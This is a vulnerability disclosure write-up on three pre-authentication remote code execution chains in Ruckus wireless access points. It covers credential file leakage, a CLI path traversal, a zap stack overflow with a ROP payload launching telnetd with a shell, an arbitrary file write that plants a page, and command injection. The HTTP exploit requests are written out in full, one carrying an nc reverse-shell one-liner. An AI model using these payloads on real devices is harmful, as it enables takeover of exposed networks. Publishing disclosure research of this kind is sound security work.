Don't Ruck Us Too Hard - Owning Ruckus AP devices

By Gal Zror (@waveburst)
January 14, 2020


Ruckus Networks is a company selling wired and wireless networking equipment and software. This article presents vulnerability research conducted on Ruckus access points. It resulted in 3 different pre-authentication remote code executions. Exploitation uses various vulnerabilities, such as information and credentials leakage, authentication bypass, command injection, path traversal, stack overflow, and arbitrary file read/write. Throughout the research, we examined the firmware of 33 different access points. All were found vulnerable. This article also introduces and shares the framework used in this research. It includes a Ghidra script and a dockerized QEMU full system emulation for an easy, cross-architecture research setup.

This research was presented and recorded in the “36th Chaos Communication Congress”


This research began after attending “BlackHat USA 2019”. We noticed that Ruckus Wireless access points provided the conference’s guest WiFi. When we got back, we decided to give those access points a look. This article focuses on the “R510 Unleashed” access point. However, we believe that all of Ruckus’s indoor and outdoor APs that run firmware version and below are vulnerable to the following findings. We examined C110, E510, H320, H510, M510, R310, R500, R510 R600, R610, R710, R720, T300, T301n, T310d, T610, T710, and T710s. Some vulnerabilities also affect ZoneDirector 1200 (, as well. We managed to fingerprint some devices using “shodan.io”, and we noticed that there are thousands of devices accessible from the Internet.

Firmware Analysis:

Typical for embedded device vulnerability research, we started with downloading the latest firmware. We decided to focus on “R510 Unleashed”, that uses an ARMv7 CPU architecture. Ruckus offers regular WiFi access points that rely on a WiFi controller and an “Unleashed” version that does not rely on a controller.

Dockerized QEMU:

After extracting the firmware, we decided to emulate the firmware’s binaries in QEMU. This research was done entirely with system emulation. We purchase a R510 device only after we discovered all three vulnerabilities. In this dockerhub, we got pre-built QEMU systems, for the following architectures: armv7, armv6, mips and mipsel. These dockers really help us emulating and setting up different router setups. For this study, we used a docker that wraps an ARMv7 QEMU system that running a Debian kernel. We managed to run most of the user space code using this setup.

All you have to do is to pull and run our docker:

docker run -it -p 5575:5575 waveburst/qemu-system-armhf

Our container includes an SSH server, so we can copy the squashfs directory extracted from the firmware into our QEMU and chroot from there.

Done, we got a chrooted device emulation in 5 minutes.

Web Server Configuration:

R510 uses ‘Embedthis-Appweb/3.4.2’ as its web interface server. Its default configuration is found on /bin/webs.conf. Reviewing the configuration file showed us that the server’s root directory is /web. We also could see that the server-side logic uses an ejs handler. ejs is an embedded JavaScript engine. Moreover, we understood that there are no restrictions on file fetching. That meant we could fetch any file from the /web directory, regardless of its file extension or type. In other words - no access control. Next, we wanted to investigate the /web directory and see if there are any interesting files we can retrieve.

First Attack Scenario:

This attack scenario includes a web interface credential disclosure (CVE-2019-19843), and a CLI jailbreak (CVE-2019-19834) to obtain a root shell on the access point.

Server Web Directory: CVE-2019-19837

The /web directory holds a relatively large number of files and directories. Most of them are standard html/js/css/images files, but there are also plenty of files with jsp and mod extensions. For some reason, jsp is the extension that represents ejs source files, and mod represents compiled ejs files. We later demonstrate that we don’t necessarily need a mod file to run ejs functionality. In addition to these files, there are also symbolic links that point to different files and directories. Since there is no access control, those linked files are all fetchable!

➜  web ls -ld `find . -type l| grep -v "css\|js\|jpg\|ico\|png\|gif\|mod\|jsp"`
lrwxrwxrwx 1 wave wave 27 Apr 15  2019 ./tmp/temp_banner -> /tmp/uploadguestbanner_file
lrwxrwxrwx 1 wave wave 28 Apr 15  2019 ./tmp/temp_bgimage -> /tmp/uploadguestbgimage_file
lrwxrwxrwx 1 wave wave 18 Apr 15  2019 ./tmp/temp_debug -> /tmp/my_debug_file
lrwxrwxrwx 1 wave wave 25 Apr 15  2019 ./tmp/temp_logo -> /tmp/uploadguestlogo_file
lrwxrwxrwx 1 wave wave 19 Apr 15  2019 ./tmp/temp_map -> /tmp/uploadmap_file
lrwxrwxrwx 1 wave wave 26 Apr 15  2019 ./tmp/temp_weblogo -> /tmp/uploadguestlogo_file2
lrwxrwxrwx 1 wave wave 24 Apr 15  2019 ./uploaded -> /etc/airespider/uploaded
lrwxrwxrwx 1 wave wave 21 Apr 15  2019 ./user/upgrade_progress -> /tmp/upgrade_progress
lrwxrwxrwx 1 wave wave  4 Apr 15  2019 ./user/wps_tool_cache -> /tmp
lrwxrwxrwx 1 wave wave 33 Apr 15  2019 ./wpad.dat -> /etc/airespider/uploaded/wpad.dat

The above command showed us there was a symbolic link from /web/user/wps_tool_cache to /tmp directory. Since we ran R510 in a full QEMU system, we noticed there was some system logic stored in the /tmp directory. In particular, rpm.log was written as a part of system initialization. When examining this log file, we noticed that every day, rpmd created a backup file named /var/run/rpmkey with a new revision number.

Fortunately, /var/run was also symbolically linked to /tmp/, so we could fetch this file as well. rpmkey contained some binary data. To examine its content, we used the strings command. strings output showed us two interesting fields: all_powerful_login_name and all_powerful_login_password. These were the device’s admin credentials in plaintext. Conveniently, the rpmkey revision number was stored at /var/run/rpmkey.rev. That helped us write a bash one-liner that retrieves the device’s credentials:

➜  demo num=$(wget -q -O -;\  
         wget -q -O -$num|\
         strings|grep -A 1 all_powerful_login


Note: Although we did not include the ZoneDirector 1200 WiFi controller in our research, we confirmed that it is vulnerable to file fetching from /tmp directory as well.

CLI Jailbreak: CVE-2019-19834

Since we could fetch admin credentials, popping a busybox shell would be our next step. The firmware includes a dropbear executable. With the admin credentials, we could enable it from the web interface, in case it was not already enabled. The dropbear server uses the same credentials as the web interface. However, it runs an alternative shell binary called ruckus_cli2. But we couldn’t get it to run any command we would like. Analyzing this binary with Ghidra showed there was a hidden command called !v54!, that should pop a busybox shell.

However, !v54! command requires the device’s serial number. Since we couldn’t necessarily know this serial number, a different approach was required. ruckus_cli2 supports a limited script environment, that can run some saved shell scripts. The exec command runs a script by calling execve system call with a given path. However, the exec command is vulnerable to path traversal, and can be used to pop a busybox shell:

That is the first way to own this AP.

Web Interface Analyzing:

Important Binaries:

The next step was to understand the implementation behind the web interface, and look for some bugs. This was the time to use Ghidra for some binary decompilation.

The following binaries oversee the web interface logic:

  • /bin/webs - an “Embedthis-Appweb” web server, that handles HTTP/S requests and executes handlers according to its configuration. It sends commands through a Unix domain socket to emfd.

  • /bin/emfd - an executable that contains the web interface logic, it maps functions from jsa pages to its functions. It implements web interface commands such as backup, network/firewall configuration, retrieval of system information, and more.

  • /usr/lib/libemf.so - This library is used by emfd for web authentication and sanitation.

Retrieving functions names:

Ruckus left verbose log strings in the binary’s compiled code. The left log strings are for all levels (INFO/WARN/ERROR/DEBUG). They also contain the function name that printed the logline.

Thanks to the Ghidra scripting environment, we could search for these log strings and extract the associated function names. Then we could rename the default function names with the ones we found.

In the emfd case, it decreased the number of “un-named” functions by almost 50%, from 1505 to 874.

Note: Leaving sensitive information in log files is a common mistake in general, and particularly in embedded devices. With the help of our team member Vera Mens, we rewrote this script. It is now flexible enough to run on different binaries and search for function name patterns. This script may be useful in many projects and can be found on our github

emfd function mapping:

When emfd starts, it maps function name strings to function pointers. The web server uses an ejs handler to call functions in emfd. The ejs syntax that calls a function is Delegate() or DelegateAsyn(). For example, a request to /admin/_updateGuestImageName.jsp runs an ejs handler (_updateGuestImageName.jsp), that uses <%Delegate(‘UploadVerify’, session[‘cid’], action);%>, which will make emfd call a function called ‘UploadVerify’().

➜  web cat ./admin/_updateGuestImageName.jsp 
var action = params['action'];
Delegate('UploadVerify', session['cid'], action);
    var dd = "<%=action%>";

Web Server authentication mechanism:

The web interface supports 4 permission levels: admin, fmuser, user, and guest. The role of emfd is to enforce these permissions. A session is created after a successful request to a jsa page that uses a Delegate() call for user authentication.

➜  web grep -nr --include \*login\*.jsp Auth .|grep Delegate
./admin/login.jsp:25:    Delegate("AuthAdmin", session['cid'], params["username"], params["password"]);
./admin/fmlogin.jsp:18:	Delegate("AuthFM", params["password"], isAdmin,params["fm_user"]);
./user/user_login_web.jsp:47:        Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']);
./user/user_login_web.jsp:49:        Delegate("AuthUser", session['cid'], params["username"], params["password"], task);
./user/user_login.jsp:41:        Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']);
./user/user_login.jsp:43:        Delegate("AuthUser", session['cid'], params["username"], params["password"], task);
./user/guest_login.jsp:13:    Delegate("AuthGuest", cookie, params['key'], '', redirecturl);
./user/oauth_login.jsp:18:Delegate("OAuthGetLogin", state);
./user/oauth_login2.jsp:4:Delegate("RedirectToOAuthServer", oauth_id,redirecturl);
./uam/_login.jsp:76:Delegate("AuthHotspotUser", cid, username, password, ip, task);
./selfguestpass/login.jsp:13:    Delegate("AuthGuest", cookie, params['key'], '', redirecturl);

Session check mechanism:

If a specific jsa page requires authentication, it’s the page’s responsibility to verify the session validity. Every jsa page should use a Delegate() call with either SessionCheck or GuestSessionCheck, to check whether a session is authenticated or considered a guest, accordingly. If no such call is present, then any Delegate() function called by this jsa page does not require authentication. In the following exploits, we sought to avoid any authentication or guest access.

Grep unauthenticated functions:

We used the grep command to check which jsa pages required no authenticated session.

➜  web grep -l Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|wc -l

There were 67 jsa pages that did not perform any sort of session validation. Next, we wanted to check what functions are called by Delegate().

➜  web grep Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|\       
 cut -f2 -d"("| awk -F"\)|," '{ print $1 }'|sort|uniq


Determined by its name, AjaxRestrictedCmdStat() seemed like an excellent function to start reversing. But before we get into it, let us understand how Ajax requests work.

Second Attack Scenario:

This attack scenario includes a stack buffer overflow in the zap executable (CVE-2019-19843). It is exploitable by sending an unauthenticated HTTP request to the web interface (CVE-2019-19836).

Ajax request structure:

Since we ran the device in a QEMU full system emulation, we could intercept Ajax requests sent to the web interface. It helped us understand the XML structure emfd expects. Let’s look at the /admin/_cmdstat.jsp request body:

comp - informs emfd which adapter to use. Adapters are the emfd logical blocks. All supported adapters are registered during startup.

action - sets the function to use for a given adapter. Each adapter defines the actions it supports. Actions might require more attributes or child nodes. In our example, action=docmd requires xcmd, both as an attribute and as a child note.

updater - contains the adapter name with a timestamp. Its value is not necessary for our exploits.


Reversing this function in Ghdira revealed that it expects the attributes xcmd='wc' and comp='zapd'. If the request is valid, it is passed to AjaxCmdStat(). AjaxCmdStat() handles all of the Ajax logic. It uses adapter_doCommand() to pass the request to a function called doCommand().


doCommand() is a large switch case function, that executes different commands based on the information form the request. The attribute cmd describes which functionality to run. With AjaxRestrictedCmdStat(), we could only pass wc to doCommand(). The wc command expects additional attributes - wcid, tool, server, client, and zap-type. If it gets all of them, it calls a shell script wrapper to execute a command called zap. Some attributes must match a specific value to get the command running. However, none of them pass sanitation. Therefore, we could pass any string with any length to the zap command.

Note: zap is also vulnerable to SSRF since it sends traffic to any IP address given. CVE-2019-19835


Luckily, the source code for zap is available online. In its documentation, it is described as “designed to be a robust network performance test tool”. Examining the code in zap.c revealed that it contains a stack overflow in its “-D” argument parsing.

case 'D':
	// int len = strlen(debug_line);
	for ( j = 2; j < ( int )strlen( argv[i] ); j++ ) {
		if ( argv[i][j] == ',' ) {
			argv[i][j] = ' ';
	/*Get debug file name*/
	for ( j = 0; j < ( int )strlen( argv[i] ); j++ ) {
		if ( argv[i][j] == ' ' ) {
			config->debugfile = (char*)malloc(j * sizeof(char));
			strncpy(config->debugfile, argv[i] + 2, j-2);
			config->debugfile[j-2] = '\0';
	/*Get the start point*/
	printf("%s\n", argv[i]);
	for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) {
		if ( argv[i][k] == ' ' ) {
			char temp[10];
			printf("%s\nlen: %d-%d=%d\n", argv[i]+j,k,j, k-j);
			strncpy(temp, argv[i]+j, k-j);
			value = atoi(temp);
	/*Get end point*/
	for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) {
		if ( argv[i][k] == ' ' ) {
			if ( sscanf( &argv[i][k+1], "%d", &stop_value ) != 1 ) {
				// Bad scan..
				return 1;

Here is the code that parses the “-D” argument. Let’s see what it does. First, it replaces all commas with spaces. Then it copies every segment to a temp buffer. Since it expects numbers, it uses a very small buffer. There was an attempt to secure the code by using strncpy. However, it used the entire string length for n. So it doesn’t protect this string copy and we were able to smash the stack.

Since we were in control of zap’s arguments, we could pass an original argument, followed by “-D” with an overflow payload.

Stack overflow exploit: CVE-2019-19840

R510 runs on an ARMv7 architecture, with NX and ASLR enabled. To overcome NX we decided to use ROP gadgets.

POST /tools/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 473

<ajax-request action='docmd' xcmd='wc' updater='system.1568118269965.3208' comp='zapd'>
<xcmd cmd='wc' comp='zapd' wcid=1 client='' tool='zap-up' zap-type='udp' server=' -D/tmp/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A2p������p���5Ad6$r��d8Ad9Ae0Ae1A3Ae4Ae5Ae6A,e7AeCCCCDDDD������������f5Af6Af7,CCCC,telnetd,-l/bin/sh,-p12345' syspmtu=65500 />

Both gadget were found in libc:

  • Gadget 1 - sub sp, fp, #0x14 ; pop {r4, r5, r6, r7, fp, pc}
  • Gadget 2 - mov r0, r4 ; pop {r4, pc}
  • system()

As for ASLR - since zap is forked from emfd we used a brute force approach to overcome its 9 bit of randomness.

That is the second way to own this R510 AP.

Third Attack Scenario:

This attack scenario includes an arbitrary file write using the zap executable (CVE-2019-19836). It can create a new jsp page, that does not require authentication and is vulnerable to command injection (CVE-2019-19838, CVE-2019-19839, CVE-2019-19841, CVE-2019-19842).

Command injection:

Let us understand how emfd executes shell commands. emfd uses 6 different functions to execute shell commands. Some of them are direct calls to functions in libc, such as system(), popen(), and execve(). Others call a wrapper that runs a shell script handler. This diversity in shell execution calls indicates that a bug, such as a command injection, might be feasible.

From the above functions, system() is the easiest one to exploit. It also appears to have a high reference count (107). Our goal was to find a function that calls system() in a way that we can control its argument. Here are 4 functions that met this criteria: cmdSpectraAnalysis() CVE-2019-19842, cmdImportAvpPort() CVE-2019-19838, cmdImportCatagory() CVE-2019-19839, and cmdPacketCapture() CVE-2019-19841. All 4 functions are reachable from doCommand() via AjaxCmdStat(), with the same mechanism described in scenario two.

However, they all depend on a request to /admin/_cmdstat.jsp page. This page checks for session authentication

  squashfs-root cat web/admin/_cmdstat.jsp 
Delegate("SessionCheck", session["cid"], 'true');
var httpReq = request["headers"];
	|| httpReq.HTTP_X_CSRF_TOKEN=='61a18965-f473-4f3b-97b1-4651d63b23fa' 
	|| session["isFactory"]=='true')
    Delegate("AjaxCmdStat", session["cid"]);

If the session is valid, all 4 functions should be vulnerable. We would like to focus on cmdImportAvpPort() for this article.

Decompiling revealed that the uploadFile attribute is obtained from the request XML, and inserted into the command variable without sanitation. Any command injection payload should work here.

POST /tools/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
X-CSRF-Token: oaMM8EBv1Y
Content-Length: 225
Cookie: -ejs-session-=x236a14bd195e0f136942005c785bac52

<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'>
        <xcmd cmd='import-avpport' uploadFile='; echo "inject" >/tmp/steroids'  type='wlan-maxnums'/>

Notice that a valid cookie and CSRF token are needed. We wanted to overcome this authentication requirement. If we could write a new page that calls Delegate("AjaxCmdStat", session["cid"]); without conditions or session checks, it would meet the requirement. To write this kind of page, we needed an arbitrary file write vulnerability, and a writeable directory to write in /web.

Arbitrary file write:

We discovered from the second scenario that we could pass unintended arguments to the zap executable, without the need for authentication. The argument -L tells zap where to write its logfile, and it has no path limitations. Therefore, we could write a file to any location we wanted. But we still didn’t have full control over the written content. The log’s structure still limited us. Let us observe how zap_pkg_drop_dump_file() in zap.c writes a log file. It looks like this:

fileio = fopen( config->logfile, "r" );
if ( !fileio ) {
	new_file = 1;
} else {
	new_file = 0;
	fclose( fileio );

fileio = fopen( config->logfile, "a+" );

if ( !fileio ) {
	fprintf( stderr, "Error, file probably open by another application.\n" );
	return 1;

// Dump package drop information.
if ( new_file ) {
	// If a new file, make the first row have text tags for all the columns

	fprintf( fileio, "Zap Version%c", delimit );
	fprintf( fileio, "Filename%c", delimit );
	fprintf( fileio, "Protocol%c", delimit );

	fprintf( fileio, "Invert Open%c", delimit );
	fprintf( fileio, "Tx IP%c", delimit );
	fprintf( fileio, "Rx IP%c", delimit );
	fprintf( fileio, "Multicast%c", delimit );
	fprintf( fileio, "ToS%c", delimit );

	fprintf( fileio, "Samples%c", delimit );
	fprintf( fileio, "Sample Size%c", delimit );
	fprintf( fileio, "Payload Length%c", delimit );
	fprintf( fileio, "Payload Transmit Delay%c", delimit );

	fprintf( fileio, "Payloads Received%c", delimit );
	fprintf( fileio, "Payloads Dropped%c", delimit );
	fprintf( fileio, "Payloads Repeated%c", delimit );
	fprintf( fileio, "Payloads Outoforder%c", delimit );

	fprintf( fileio, "Date%c", delimit );
	fprintf( fileio, "Notes%c", delimit );
	fprintf( fileio, "Tag%c", delimit );
	fprintf( fileio, "Sub Tag%c", delimit );

	fprintf( fileio, "\n" );

Luckily, config->note, config->tag, and config->sub are all settable with arguments -N, -T, and -S respectively. We could use the same method to pass -T and -S as well.

zap -s192.168.0.1 -d192.168.0.2 -R -L/web/uploaded/index.jsp -T<%Delegate("AjaxCmdStat" -Ssession["cid"]);%> -X14 -q0xa0 -p50000 -l65444

zap writes to the log file only if it creates a successful connection to a zapd server. That means we had to create a zapd server that answers to zap. Fortunately, zapd.c sources are also available online, and we successfully compiled it. After setting zap to our zapd server, we were able to write a page:

Writeable directory:

Lastly, we had to find a writeable directory in /web. Since /web is part of the squashfs file system, it is a read-only directory. Thankfully, we could write to /web/uploaded, since it’s symbolically linked to /writable/etc/airespider

➜  squashfs-root ls -lath web/uploaded
lrwxrwxrwx 1 wave wave 24 Apr 15  2019 web/uploaded -> /etc/airespider/uploaded
➜  squashfs-root ls -lath etc/airespider
lrwxrwxrwx 1 wave wave 24 Apr 15  2019 etc/airespider -> /writable/etc/airespider

Page write:

Finally, we had all we needed to write a new jsp page to the web interface. That page contains an ejs call to our command injection vulnerability function. As previously mentioned in the article, even though every jsp page has a related mod file, it is not needed to get the ejs handler to execute the jsa page. Now we could create a vulnerable page in /uploaded/index.jsp

POST /tools/_rcmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 304

<ajax-request action='docmd' xcmd='wc' updater='system.1568118269965.3208' comp='zapd'>
	<xcmd cmd='wc' comp='zapd' wcid=1 client='' tool='zap-up' zap-type='udp' server=' -R -L/web/uploaded/index.jsp -T<%Delegate("AjaxCmdStat" -Ssession["cid"]);%>' syspmtu=65500 />

This request results in following page creation:

ruckus$ cat /web/uploaded/index.jsp 
Zap Version,Filename,Protocol,Invert Open,Tx IP,Rx IP,Multicast,ToS,Samples,Sample Size,Payload Length,Payload Transmit Delay,Payloads Received,Payloads Dropped,Payloads Repeated,Payloads Outoforder,Date,Notes,Tag,Sub Tag,
1.83.19,/web/uploaded/index.jsp,udp,Off,,,Off,A0h,1000000,100,65444,1,92,7,0,0,Fri Mar 15 17:09:04 2019,,<%Delegate("AjaxCmdStat",session["cid"]);%>,

All there is left is to send our command injection to /uploaded/index.jsp

POST /uploaded/index.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 261

<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'> 
	<xcmd cmd='import-avpport' uploadFile=';rm /tmp/b;mknod /tmp/b p;/bin/sh 0</tmp/b|nc 4444 1>/tmp/b'  type='wlan-maxnums'/>

And listen for our reverse shell:

➜  squashfs-root nc -vlp 4444
Listening on [] (family 0, port 4444)
Connection from 49117 received!

echo $USER

That is the third way to own this AP.


This vulnerability research was exciting. It involved all sorts of different vulnerabilities. Chaining some of them together was challenging yet useful. This research was also an excellent opportunity to check our docker emulation environment. It proved itself to be very useful. Ruckus Wireless has been informed about these vulnerabilities. Ruckus Unleashed AP should fix them. Since Ruckus has other attack surfaces, we might conduct follow up research.

Ruckus Security Advisory